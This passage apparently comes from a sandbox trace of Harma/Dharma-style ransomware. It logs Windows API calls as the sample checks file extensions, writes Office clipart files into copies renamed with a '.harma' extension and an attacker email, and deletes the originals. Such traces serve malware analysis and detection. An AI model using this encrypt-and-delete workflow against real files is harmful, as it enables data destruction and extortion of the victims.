(lpString1=".pdf", lpString2=".WMF") returned -1 [0154.633] lstrlenW (lpString=".xls") returned 4 [0154.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.633] lstrlenW (lpString=".xlsx") returned 5 [0154.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.633] lstrlenW (lpString=".ppt") returned 4 [0154.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.633] lstrlenW (lpString=".zip") returned 4 [0154.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.633] lstrlenW (lpString=".rar") returned 4 [0154.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.633] lstrlenW (lpString=".bz2") returned 4 [0154.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.633] lstrlenW (lpString=".7z") returned 3 [0154.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.634] lstrlenW (lpString=".dbf") returned 4 [0154.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.634] lstrlenW (lpString=".1cd") returned 4 [0154.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.634] lstrlenW (lpString=".jpg") returned 4 [0154.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.634] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.634] lstrlenW (lpString="FD00414_.WMF") returned 12 [0154.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.667] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=11002) returned 1 [0154.667] CloseHandle (hObject=0x384) returned 1 [0154.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x20 [0154.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0154.698] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.699] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0154.699] GetLastError () returned 0x0 [0154.699] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2afa, lpOverlapped=0x0) returned 1 [0154.945] WriteFile (in: hFile=0x378, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2b00, lpOverlapped=0x0) returned 1 [0154.946] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0154.946] WriteFile (in: hFile=0x378, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.946] SetEndOfFile (hFile=0x378) returned 1 [0154.947] CloseHandle (hObject=0x378) returned 1 [0154.947] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.947] SetEndOfFile (hFile=0x370) returned 1 [0154.949] CloseHandle (hObject=0x370) returned 1 [0154.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0154.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.962] lstrlenW (lpString=".doc") returned 4 [0154.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.962] lstrlenW (lpString=".docx") returned 5 [0154.962] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.962] lstrlenW (lpString=".pdf") returned 4 [0154.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.962] lstrlenW (lpString=".xls") returned 4 [0154.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.962] lstrlenW (lpString=".xlsx") returned 5 [0154.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.962] lstrlenW (lpString=".ppt") returned 4 [0154.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.962] lstrlenW (lpString=".zip") returned 4 [0154.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.962] lstrlenW (lpString=".rar") returned 4 [0154.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.963] lstrlenW (lpString=".bz2") returned 4 [0154.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.963] lstrlenW (lpString=".7z") returned 3 [0154.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.963] lstrlenW (lpString=".dbf") returned 4 [0154.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.963] lstrlenW (lpString=".1cd") returned 4 [0154.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.963] lstrlenW (lpString=".jpg") returned 4 [0154.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.963] lstrlenW (lpString=".doc") returned 4 [0154.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.963] lstrlenW (lpString=".docx") returned 5 [0154.963] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.963] lstrlenW (lpString=".pdf") returned 4 [0154.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.963] lstrlenW (lpString=".xls") returned 4 [0154.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.963] lstrlenW (lpString=".xlsx") returned 5 [0154.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.963] lstrlenW (lpString=".ppt") returned 4 [0154.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.964] lstrlenW (lpString=".zip") returned 4 [0154.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.964] lstrlenW (lpString=".rar") returned 4 [0154.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.964] lstrlenW (lpString=".bz2") returned 4 [0154.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.964] lstrlenW (lpString=".7z") returned 3 [0154.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.964] lstrlenW (lpString=".dbf") returned 4 [0154.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.964] lstrlenW (lpString=".1cd") returned 4 [0154.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0154.964] lstrlenW (lpString=".jpg") returned 4 [0154.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.964] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.964] lstrlenW (lpString="FD00586_.WMF") returned 12 [0154.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.975] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=752) returned 1 [0154.975] CloseHandle (hObject=0x374) returned 1 [0154.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x20 [0154.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.975] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.975] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0154.976] GetLastError () returned 0x0 [0154.976] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2f0, lpOverlapped=0x0) returned 1 [0155.006] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x300, lpOverlapped=0x0) returned 1 [0155.007] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0155.007] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.007] SetEndOfFile (hFile=0x37c) returned 1 [0155.007] CloseHandle (hObject=0x37c) returned 1 [0155.007] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0155.007] SetEndOfFile (hFile=0x374) returned 1 [0155.009] CloseHandle (hObject=0x374) returned 1 [0155.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0155.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.274] lstrlenW (lpString=".doc") returned 4 [0155.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.275] lstrlenW (lpString=".docx") returned 5 [0155.275] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.275] lstrlenW (lpString=".pdf") returned 4 [0155.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.275] lstrlenW (lpString=".xls") returned 4 [0155.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.275] lstrlenW (lpString=".xlsx") returned 5 [0155.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.275] lstrlenW (lpString=".ppt") returned 4 [0155.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.275] lstrlenW (lpString=".zip") returned 4 [0155.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.275] lstrlenW (lpString=".rar") returned 4 [0155.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.275] lstrlenW (lpString=".bz2") returned 4 [0155.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.275] lstrlenW (lpString=".7z") returned 3 [0155.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.275] lstrlenW (lpString=".dbf") returned 4 [0155.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.276] lstrlenW (lpString=".1cd") returned 4 [0155.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.276] lstrlenW (lpString=".jpg") returned 4 [0155.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.276] lstrlenW (lpString=".doc") returned 4 [0155.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.276] lstrlenW (lpString=".docx") returned 5 [0155.276] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.276] lstrlenW (lpString=".pdf") returned 4 [0155.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.276] lstrlenW (lpString=".xls") returned 4 [0155.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.276] lstrlenW (lpString=".xlsx") returned 5 [0155.276] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.276] lstrlenW (lpString=".ppt") returned 4 [0155.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.276] lstrlenW (lpString=".zip") returned 4 [0155.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.276] lstrlenW (lpString=".rar") returned 4 [0155.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.277] lstrlenW (lpString=".bz2") returned 4 [0155.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.277] lstrlenW (lpString=".7z") returned 3 [0155.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.277] lstrlenW (lpString=".dbf") returned 4 [0155.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.277] lstrlenW (lpString=".1cd") returned 4 [0155.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0155.277] lstrlenW (lpString=".jpg") returned 4 [0155.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.277] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.277] lstrlenW (lpString="FD00965_.WMF") returned 12 [0155.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.351] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=15164) returned 1 [0155.351] CloseHandle (hObject=0x378) returned 1 [0155.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x20 [0155.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.352] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0155.352] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0155.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0155.353] GetLastError () returned 0x0 [0155.353] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x3b3c, lpOverlapped=0x0) returned 1 [0155.464] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3b40, lpOverlapped=0x0) returned 1 [0155.465] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0155.467] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.467] SetEndOfFile (hFile=0x330) returned 1 [0155.467] CloseHandle (hObject=0x330) returned 1 [0155.467] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0155.467] SetEndOfFile (hFile=0x378) returned 1 [0155.471] CloseHandle (hObject=0x378) returned 1 [0155.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0155.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.472] lstrlenW (lpString=".doc") returned 4 [0155.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.472] lstrlenW (lpString=".docx") returned 5 [0155.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.472] lstrlenW (lpString=".pdf") returned 4 [0155.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.472] lstrlenW (lpString=".xls") returned 4 [0155.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.472] lstrlenW (lpString=".xlsx") returned 5 [0155.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.472] lstrlenW (lpString=".ppt") returned 4 [0155.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.472] lstrlenW (lpString=".zip") returned 4 [0155.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.473] lstrlenW (lpString=".rar") returned 4 [0155.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString=".bz2") returned 4 [0155.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString=".7z") returned 3 [0155.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.473] lstrlenW (lpString=".dbf") returned 4 [0155.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.473] lstrlenW (lpString=".1cd") returned 4 [0155.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.473] lstrlenW (lpString=".jpg") returned 4 [0155.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.473] lstrlenW (lpString=".doc") returned 4 [0155.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString=".docx") returned 5 [0155.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.473] lstrlenW (lpString=".pdf") returned 4 [0155.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString=".xls") returned 4 [0155.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.473] lstrlenW (lpString=".xlsx") returned 5 [0155.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.473] lstrlenW (lpString=".ppt") returned 4 [0155.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0155.474] lstrlenW (lpString=".zip") returned 4 [0155.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.474] lstrlenW (lpString=".rar") returned 4 [0155.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.474] lstrlenW (lpString=".bz2") returned 4 [0155.474] 